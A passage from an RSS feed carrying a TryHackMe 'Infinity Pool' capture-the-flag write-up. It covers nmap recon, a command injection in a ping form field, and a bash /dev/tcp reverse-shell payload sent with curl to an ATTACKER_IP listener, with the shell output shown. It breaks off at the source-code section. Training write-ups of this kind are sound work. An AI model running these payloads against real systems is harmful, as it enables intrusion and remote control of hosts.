<?xml version="1.0" encoding="UTF-8"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>DEV.to - Trending Guides</title><link>https://dev.to</link><atom:link href="http://rss.144-124-237-35.sslip.io/dev.to/guides" rel="self" type="application/rss+xml"></atom:link><description>Trending guides and resources from DEV.to - Powered by AtomRSS</description><generator>AtomRSS</generator><webMaster>contact@atomgroup.dev (AtomRSS)</webMaster><language>en-us</language><lastBuildDate>Sun, 09 Aug 2026 10:32:55 GMT</lastBuildDate><ttl>5</ttl><item><title>TryHackMe : Infinity Pool Writeup</title><description>&lt;h2&gt;
  &lt;a name=&quot;summary&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#summary&quot;&gt;
  &lt;/a&gt;
  Summary
&lt;/h2&gt;

&lt;p&gt;Recon on &lt;code&gt;&amp;lt;MACHINE_IP&amp;gt;&lt;/code&gt; revealed a Gunicorn-hosted &quot;Byte Lotus&quot; hotel site with two paths disallowed in &lt;code&gt;robots.txt&lt;/code&gt; - &lt;code&gt;/internal/&lt;/code&gt; and &lt;code&gt;/status&lt;/code&gt;. The &lt;code&gt;/status&lt;/code&gt; page exposes an internal staff tool (&quot;Sister-property connectivity&quot;) that POSTs a &lt;code&gt;host&lt;/code&gt; parameter to &lt;code&gt;/internal/netcheck&lt;/code&gt;, which shells out to &lt;code&gt;ping&lt;/code&gt; without sanitizing input. This allowed OS command injection as the &lt;code&gt;web&lt;/code&gt; user, leading to an initial foothold and the user flag.&lt;/p&gt;

&lt;p&gt;From there, an internal-only &quot;Watchtower&quot; ops console (&lt;code&gt;127.0.0.1:3000&lt;/code&gt;) leaked FreePBX UCP credentials that were explicitly noted as unrotated default template creds. Logging into the UCP dashboard (via SSH port forwarding, since curl-based login kept looping) and adding a voicemail widget exposed an &quot;Automation Key&quot; bearer token that had leaked into a caller-ID field. That key authenticated to a root-run internal automation service (&lt;code&gt;127.0.0.1:9000&lt;/code&gt;), whose &lt;code&gt;/jobs/export&lt;/code&gt; endpoint built a shell command from an unsanitized &lt;code&gt;report&lt;/code&gt; parameter - a second command injection, this time as &lt;code&gt;root&lt;/code&gt;, yielding the root flag.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;recon&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#recon&quot;&gt;
  &lt;/a&gt;
  Recon
&lt;/h2&gt;



&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;nmap &lt;span class=&quot;nt&quot;&gt;-A&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-Pn&lt;/span&gt; &amp;lt;MACHINE_IP&amp;gt; &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; nmap
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight console&quot;&gt;&lt;code&gt;&lt;span class=&quot;go&quot;&gt;Starting Nmap 7.98 ( https://nmap.org ) at 2026-08-07 03:02 -0400
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;Nmap scan report for &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;Host is up (0.042s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;protocol 2.0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;go&quot;&gt;| ssh-hostkey:
|   256 cd:c0:dc:fe:7e:89:73:23:78:51:06:96:e4:c4:19:7f (ECDSA)
|_  256 32:b1:32:b9:b3:5f:30:92:6c:ee:58:fd:15:82:5d:69 (ED25519)
80/tcp open  http    Gunicorn
|_http-server-header: gunicorn
| http-robots.txt: 2 disallowed entries
|_/internal/ /status
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;|_http-title: Byte Lotus &amp;amp;mdash;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;Stay Noticed
&lt;span class=&quot;go&quot;&gt;Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), Linux 4.X|5.X (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), Linux 4.15 - 5.19 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;Service Info: OS: Linux;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;CPE: cpe:/o:linux:linux_kernel
&lt;span class=&quot;go&quot;&gt;
TRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   37.96 ms 192.168.128.1
2   ...
&lt;/span&gt;&lt;span class=&quot;gp&quot;&gt;3   38.68 ms &amp;lt;MACHINE_IP&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;go&quot;&gt;
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.65 seconds
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Two open ports: SSH (22) and HTTP (80, Gunicorn). OS guesses (Crestron/embedded) are noise from the unreliable OS scan and can be disregarded.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;robots.txt&lt;/code&gt; disclosed two hidden paths:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;User-agent: *
Disallow: /internal/
Disallow: /status
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/static/app.js&lt;/code&gt; contained a developer comment leaking the internal endpoint behind &lt;code&gt;/status&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight javascript&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Byte Lotus front-end bootstrap.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// TODO(ops): the staff connectivity tool at /status posts to the legacy&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// /internal/netcheck handler. Keep it out of the public nav until the new&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// auth gateway ships. Disallowed in robots.txt for now.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;code&gt;/internal/&lt;/code&gt; (GET) returned 404 directly, but &lt;code&gt;/status&lt;/code&gt; (GET) rendered a form:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight html&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/internal/netcheck&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;tool&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;host&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;placeholder=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;property host e.g. 10.0.0.5&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;autofocus&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;button&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;Check&lt;span class=&quot;nt&quot;&gt;&amp;lt;/button&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;&lt;code&gt;dirsearch&lt;/code&gt; against the root found nothing further of interest.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;vulnerability-os-command-injection-in-internalnetcheck&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#vulnerability-os-command-injection-in-internalnetcheck&quot;&gt;
  &lt;/a&gt;
  Vulnerability - OS Command Injection in /internal/netcheck
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;host&lt;/code&gt; field is passed unsanitized into a shell command (almost certainly &lt;code&gt;ping &amp;lt;host&amp;gt;&lt;/code&gt; under the hood, given the trailing &lt;code&gt;ping: usage error&lt;/code&gt; output on every request). Standard &lt;code&gt;;&lt;/code&gt;-separated command chaining worked immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/internal/netcheck &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;host=;id&#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Response body embedded in the &lt;code&gt;&amp;lt;pre class=&quot;out&quot;&amp;gt;&lt;/code&gt; block:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;web&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ping: usage error: Destination address required
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;Confirmed further with &lt;code&gt;whoami&lt;/code&gt; and &lt;code&gt;which bash&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;web
/usr/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  &lt;a name=&quot;getting-the-reverse-shell-to-fire&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#getting-the-reverse-shell-to-fire&quot;&gt;
  &lt;/a&gt;
  Getting the reverse shell to fire
&lt;/h3&gt;

&lt;p&gt;First attempts with &lt;code&gt;curl -d&lt;/code&gt; failed - unescaped &lt;code&gt;&amp;amp;&lt;/code&gt; in the &lt;code&gt;/dev/tcp&lt;/code&gt; redirect payload was interpreted by curl as a form-field separator, truncating the command before it ever reached the server (visible in the reflected &lt;code&gt;value=&lt;/code&gt; attribute, which showed the string cut off after &lt;code&gt;bash -i&lt;/code&gt;). Switching to &lt;code&gt;--data-urlencode&lt;/code&gt; fixed the encoding:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;penelope &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 4444 listen
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;





&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST http://&amp;lt;MACHINE_IP&amp;gt;/internal/netcheck &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;--data-urlencode&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;host=;bash -c &#39;bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1&#39;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;This curl call returned &lt;code&gt;Request timed out.&lt;/code&gt; - expected, not a failure, since the reverse shell never sends an HTTP response back to close the request. The payload had already fired in the background and connected out to the listener. Session landed as &lt;code&gt;web&lt;/code&gt;, with penelope auto-upgrading the shell to a PTY via its own &lt;code&gt;python3&lt;/code&gt;-based upgrade mechanism (unrelated to the injected payload itself):&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight plaintext&quot;&gt;&lt;code&gt;[+] [New Reverse Shell] =&amp;gt; tryhackme-2404 &amp;lt;MACHINE_IP&amp;gt; Linux-x86_64 web(1001) Session ID &amp;lt;1&amp;gt;
[+] Upgrading shell to PTY...
[+] PTY upgrade successful via /usr/bin/python3
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;h3&gt;
  &lt;a name=&quot;root-cause-confirmed-in-source&quot; href=&quot;https://dev.to/exploitnotes/tryhackme-infinity-pool-writeup-49o8#root-cause-confirmed-in-source&quot;&gt;
  &lt;/a&gt;
  Root cause confirmed in source
&lt;/h3&gt;

&lt;p&gt;Once shell access was gained, &lt;code&gt;/var/www/infinity_pool/edge/app.py&lt;/code&gt; confirmed the vulnerability - the &lt;code&gt;host&lt;/code&gt; form value is interpolated straight into an f-string and run with &lt;code&gt;shell=True&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
